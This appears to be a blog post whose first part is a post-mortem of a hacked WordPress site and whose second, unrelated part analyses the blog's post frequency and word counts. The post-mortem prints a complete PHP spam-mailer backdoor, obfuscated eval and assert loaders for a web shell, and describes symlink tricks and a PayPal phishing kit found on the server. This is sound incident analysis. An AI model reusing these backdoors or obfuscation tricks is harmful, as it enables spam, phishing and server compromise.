I don't actually understand what the units of the Y axis are

Well, so my blog got hacked. Even more unfortunate is that I can’t seem to locate any trace of what it looked like when it was hacked. I guess that’s the problem when you write a post-mortem literally a year after the original incident.

All that’s left is some eerie hints that something happened.

My blog was averaging around 350MB of bandwidth per day, when suddenly on June 6th, it started to spike. In fact, between June 6th and 7th, it used a total of over 40GB of bandwidth. It had eaten through my entire monthly bandwidth quota.

At 6:48pm on June 7th, I had discovered that something was going on with my blog and started the process of fixing it. I looked through some of the access logs and saw a particular abundance of a strange file pffam.php

91.234.164.143 - - [07/Jun/2014:05:07:18 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
78.26.204.99 - - [07/Jun/2014:05:07:19 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
46.173.111.151 - - [07/Jun/2014:05:07:21 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"

Presumably pffam.php was the bit of malicious code which was injected onto my server, acting as a nice endpoint for recieving and executing particular actions. It seems that Indy Library is some sort of .NET library which implements HTTP.

It’s interesting that the endpoint is being hit by multiple IP addresses, and they all seem to geolocate to Eastern European countries. Presumably they’ve built some sort of graphical Command & Control panel out of Visual Basic or something.

Unfortunately, it looks like I replaced the entire wordpress installation with an older backup— so I don’t actually have any copies of pffam.php. But it managed to use 40GB of bandwidth, and hackers are hardly keen on keeping all their eggs in one bucket, so surely there must have been other endpoints— right?

Sure enough, there’s another endpoint:

109.87.224.22 - - [06/Jun/2014:21:18:06 -0400] "POST /ajaxanimator/stick2-old/jsgif/Demos/dswbk.php HTTP/1.1" 200 4 "-" "Mozilla/3.0 (compatible; Indy Library)"

And it looks like it was buried underneath enough files that I hadn’t noticed and deleted it— woot? In fact there’s actually a number of fascinating files and folders in that directory

├── IT2_9z38yd
├── PwdbqQ3nh0
├── SLn30gBqqv
├── SPIFBSYgsr
├── UXLPRmw9YY
├── XviRYdmJ4H
├── baZn0aynkw
├── bosa.php
├── dibdt.php
├── dswbk.php
├── fr1.php
├── hummjvq.php
├── ptRiJiayze
│   ├── VjQauM_3Ev
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── sthy.php
├── vlizzvij.php
├── x4MslaR1CW
│   ├── BN3R5U8sF5
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── xstyles.php
└── yl27ceCuPh

So it looks like most of these folders are actually empty, and a lot of the rest of the top level PHP files are the same.

It seems that bosa.php, dibdt.php, dswbk.php, hummjvq.php, sthy.php, and vlizzvij.php are identical.

<?php
$to      = stripslashes($_POST["to_address"]);
$BCC      = stripslashes($_POST["BCC"]);
$subject = stripslashes($_POST["subject"]);
$message = stripslashes($_POST["body"]);
$from_address = stripslashes($_POST["from_address"]);
$from_name = stripslashes($_POST["from_name"]); 
$contenttype = $_POST["type"];


if (strlen($from_address) > 3)
{
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .=  "From: $from_name <$from_address>\r\n";
$header .=  "Reply-To: $from_name <$from_address>\r\n";
$header .= "Subject: $subject\r\n";

$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message), stripslashes($header));
}
else
{
$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message));
}




if($result)
{
echo 'good';
}
else
{
    'error : '.$result;
}
?>

I’m guessing that it’s being used to send spam messages to different people using the PHP mail() function.

More interesting is fr1.php, which is obfuscated as a giant base 64 encoded gzipped string.

eval(gzinflate(base64_decode('HZzHkoTKkkQ/591r...h/Pp/jc/L/+59///33f/4f')));

So to see what went inside, I stuck it in a different file and replaced the eval with echo. The first time I ran it, I had a bit of a double take because the result looked like this:

eval(gzinflate(base64_decode('FZ23kuNKtkU/Z+4NGN...gRP6r//+ffff//v/wE=')));

And if two times isn’t sufficiently meta, this happens a third

eval(gzinflate(base64_decode('FZy3buRaFkU/Z94DA3q...GAfkEQPM8TBK/yP//+++9//w8=')));

A fourth…

eval(gzinflate(base64_decode('HZ3HkqPqlkYf554TDPAuO...7fM8QRAFr//+9z///vvv//wf')));

fifth…

eval(gzinflate(base64_decode('FZzHjuNaskU/p+8FB/...qAgCFAAAIIgiYKX8N///Pvvv//3/w==')));

sixth…

eval(gzinflate(base64_decode('FZzHbuvKtkU/554...L63//+8++///73/wE=')));

seventh…

echo(gzinflate(base64_decode('FZ3HbuRKEkU/Z94...4nCAI0SDH/+ffff//7fw==')));

Actually, it goes on 40 more times, like a demented matroyshka doll. It’s not UTF-8 encoded, so I had to guess a handful of encodings before discovering that it was what Sublime Text calls “Cyrillic (Windows 1251)”. It’s 1500 lines, so I’ve posted it in a Gist rather than sticking it inline here.

I skimmed through the code and it seemed relatively safe— or at least it didn’t seem to plant any rootkits or start any persistent processes. So I ran it and got a screenshot. It seems to call itself “C99madShell v. 3.0 BLOG edition.php”

The other distinct file, xstyles.php seems to be a little more unique.

<?php 

$n = 'ss';
$r ="rt";
$a = "a";
$y='e';
$q = $a.$n.$y.$r;

$v = '5b17fxo30zD8d/Ip5C3tQoMx4CRXYgx...8B';

@$q("e"."va"."l('\x65\x76\x61\x6c\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x76\x29\x29\x29\x3b');");

So what does it do? Well, the first part basically just assembles q with the value “assert”.

bool assert ( mixed $assertion [, string $description ] )

When PHP’s built-in assert function is passed a string $assertion, it evaluates that string. It’s less known than eval so this is plausibly useful for evading firewalls of a certain sort. So what it finally translates to is:

assert("eval('eval(gzinflate(base64_decode($v)));');")

The decoded file starts out like this:

<?php
$auth_pass = "cef26cef9c9fdbdb49363368c8921635";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

I searched around for the password, but nobody’s yet been able to find a matching plaintext. However, along the way I found out about PHPDecoder which would have saved quite a bit of time an hour ago.

This one is also 1500 lines, so I’ve posted it in another Gist. This one looks aesthetically a bit nicer— if it’s not too weird to complement the tools of the people who hacked your website.

There’s one (hah, pun not intended) folder entitled 1/ which is particularly interesting. It has three subdirectories: configweb, sym, and tumdizin.

Configweb seems to be a directory filled with symlinks to 9414 distinct configuration files, each of them residing on someone else’s home directory. It encompasses lots of different software packages including Joomla, Wordpress, Zencart, SMF, WHM, OSCommerce, VBulletin and ore.

The directory sym seems to just contain a symlink entitled root to— you guessed it— /.

And finally tumdizin seems to link to the web roots of 116 distinct shared hosting accounts which happen to reside on the same server.

There’s also that folders which blow up in the tree x4MslaR1CW, and ptRiJiayze. You can probably guess by files like logo_paypal_106x29.png that this site got turned essentially into a phishing website for Paypal. I’m actually rather amazed that the result looks so plausible.

However, it seems that there was some weird activity going on starting a few days before the massive traffic. There’s an error_log file which seems to grow pretty slowly in general. There was a fairly large stretch from January to June with no errors— and then it seemed to constantly encounter these errors leading up to the traffic spike.

[03-Jun-2014 17:06:05 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/antimatt/public_html/wp/wp-rss.php(1) : eval()'d code:1) in /home/antimatt/public_html/wp/wp-includes/pluggable.php on line 1121
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24

I ended up downloading a daily backup of the server which was taken before it was hacked (June 1, 2014) and installing it onto a small virtual machine. I downloaded a Wordpress plugin for exporting the entire website as static HTML pages and uploaded it to Github pages. This served as a stop-gap measure for almost an entire year while I was getting the new site to work.

This experience is largely why I decided that this new incarnation would be a static site— essentially free from the perils that come with a dynamic website. It’s not like the old version used dynamic content to much advantage anyway, it was cached enough that it was practically static anyway.

I’ve been maintaining this blog, or at least the content inside it for about five years now. It’s been through a handful of incarnations, often paired with significant changes in web hosting. I’ve had a blog for a little bit longer, but I don’t think I have the medium figured out. The structure of the posts and the style has changed over the past few years, but I can’t at this point call it evolution, a positive progression. Part of the power which lies in analyzing data is the ability to realize patterns, often at a different scale from human observation (spans of months or years) which are equally if not more insightful.

That’s been my personal attraction to data science. I’ve had a couple of personal experiments involving collecting data about my daily activities, my old writing and code in hopes of distilling the changes that I’m too conceited to admit without the infallible hand of statistics. For nearly two years now, I’ve logged my entire life within precision of approximately 30 minutes from Google Calendar (or the Calendar app on iPad which syncs to Google Calendar). Actually, the label is slightly off, I quite often dedicate large spans of time to more or less useless labels like “not productive”. But this temporal information falls apart in terms of its richness, for my schedule is dictated more so by the mandatory rhythms of school life than the drifting cadence of other behavior.

But I digress. This isn’t about why I collect data so much as “I have this data, now what?”. In this case, I had a hypothesis, a rather simple albeit morbid one at that “my blog is dying”. It’s not hard to see how I’m coming at the conclusion. I’m pretty much struggling at this point to meet my goal of one post per month (itself not a particularly difficult goal, but as time has gone on and my posts have become more infrequent, I feel more compelled to write obscenely long posts to compensate, but of course this also leads to big posts sitting there unfinished for long durations losing the sort of one post = one sitting mentality). But before I ramble for too long, I’ll cut to the chase and answer the question posed at the beginning of this paragraph: “Graphs.” (you could imagine those haunting glyphs levitating in the midst of air caught in the invisible grasp of Giorgio A. Tsoukalos, or better yet, I can spare your cognitive abilities by making it real)

blog-post-frequency

Here’s a pretty little graph I made in R (sorry for the mess on the horizontal axis, and I just realized I have no idea as to how to interpret the dates, I’m assuming that they’re linear and it’s just some odd aliasing issue that makes even-numbered years repeat twice), it’s a histogram of the dates of posts that I’ve made to this blog (extracted with a simple Python script and Wordpress’s built-in Export button).You can probably actually tell that the blog’s demise is quite a long way’s coming. Every annual peak ends up shallower the following year and the first time gaps have actually existed was this fateful year, 2012.

It’s actually sort of interesting that these peaks exist, but I can’t really tell during what months that happened during (since these axes are labeled so terribly, it’d be nice if I knew some nice interactive graph engine that worked with histograms, something like that cool time series viewer that Google had for Finance for like ever but for histograms, but I guess that just shows how much of a non-scientist I am, to have no idea how to fluently articulate in a statistical or graphical language of my choice).

Word Count Plot

For more graph fun, here’s a scatter plot of word lengths as a function of year. I wasn’t dedicated enough to figure out how to get NLTK to tell me the Gunning-Fog, Flesch-Kincaid or ARI value for individual posts, and I doubt that would end up showing anything particularly insightful. But yeah, so here it is. Charts. Charts of words. Note that thing that sticks out clocking in at around 3724 words is my first Music Alpha post.

Actually, I won’t mind that Wordpress isn’t yet self aware (‘ello Skynet) and still sends trackbacks and pings (whatever they are) to me when I link to myself. Seriously, you don’t actually need to have a self-aware artificial intelligence in order to learn how to not spam me with emails when I’m quite probably as in super definitely aware of its existence. But anyway, I guess I’ll stomach the lurching pain of a thousand emails (I’m using hyperbole here, in case your rudimentary artificial intelligence algorithms can’t quite distinguish them, but I’m also pretty sure your algorithms wouldn’t be able to handle n-th degrees of meta, so this excruciatingly useless parenthetical wouldn’t be much other than that: excruciatingly useless) and post the last part of the list here.

1340133957.0 , 2012-06-19 19:25:57 , 1178 [http://antimatter15.com/wp/2012/06/pinball/](http://antimatter15.com/wp/2012/06/pinball/)

1333025085.0 , 2012-03-29 12:44:45 , 1302 [http://antimatter15.com/wp/2012/03/musicalpha-v2-0/](http://antimatter15.com/wp/2012/03/musicalpha-v2-0/)

1293394934.0 , 2010-12-26 20:22:14 , 1409 [http://antimatter15.com/wp/2010/12/drag2up-v2-drag-and-drop-uploading-for-all-sites/](http://antimatter15.com/wp/2010/12/drag2up-v2-drag-and-drop-uploading-for-all-sites/)

1317686582.0 , 2011-10-04 00:03:02 , 1565 [Haven't actually published this yet, hmm]

1341591648.0 , 2012-07-06 16:20:48 , 2117 [http://antimatter15.com/wp/2012/07/cloudfall-a-text-editor/](http://antimatter15.com/wp/2012/07/cloudfall-a-text-editor/)

1307064165.0 , 2011-06-03 01:22:45 , 2180 [http://antimatter15.com/wp/2011/06/why-the-chrome-web-store-is-bad-for-the-web/](http://antimatter15.com/wp/2011/06/why-the-chrome-web-store-is-bad-for-the-web/)

1277922545.0 , 2010-06-30 18:29:05 , 2319 [http://antimatter15.com/wp/2010/06/wave-embed-api/](http://antimatter15.com/wp/2010/06/wave-embed-api/)

1294958307.0 , 2011-01-13 22:38:27 , 2762 [http://antimatter15.com/wp/2011/01/the-ambiguity-of-open-and-vp8-vs-h-264/](http://antimatter15.com/wp/2011/01/the-ambiguity-of-open-and-vp8-vs-h-264/)

1308832860.0 , 2011-06-23 12:41:00 , 2872 [http://antimatter15.com/wp/2011/06/samsung-series-5-chromebook/](http://antimatter15.com/wp/2011/06/samsung-series-5-chromebook/)

1305426252.0 , 2011-05-15 02:24:12 , 3724 [http://antimatter15.com/wp/2011/05/uploading-mp3s-to-google-music-beta-from-linux-chrome-os-win-and-mac/](http://antimatter15.com/wp/2011/05/uploading-mp3s-to-google-music-beta-from-linux-chrome-os-win-and-mac/)

That list was compiled by the command cat blogtimes.csv | sort -t',' -k3n | tail, and that’s quite an accomplishment because I had to look up the arguments for the sort command in order to figure that out. Of course, blogtimes.csv is the output of my magical six line python script (which uses BeautifulSoup to extract all the wp:post_dates).

So, with 10 blog posts in that list, every single 8 of them happened after 2011 and 3 of them happened in 2012. Considering that there were 10 things published in 2012 (according to my dataset) and 21 in 2011, that’s a rather significant fraction of the stuff which has been written recently to be insanely long.

Wordpress tells me this post is now at 948 words, so I guess I’ll add a bit of concluding at the end to push it over the magical power-of-ten barrier, so presumably you should brace for the terrible boom which occurs at this point (oh, what’s that? I think that’s my imaginary telephone operator who informs me when I make a factual error, apparently those kinds of booms only happen with waves, and apparently words flowing through word count orders of magnitude don’t count).

The original title of this post was “Meta Analytics & Upcoming Changes”, but in the spirit of the upcoming changes, I’ve moved the “Upcoming Changes” part into its own post (tentatively titled “Upcoming Changes”). You can probably at this point guess that “Upcoming Changes” involves something to tackle the excessive verbosity and to mitigate the absurdly infrequent posts. This probably doesn’t sound nearly as heroic to you as it does to me, because I’m listening to The Avengers soundtrack right now, and “A Promise” is pretty dramatic.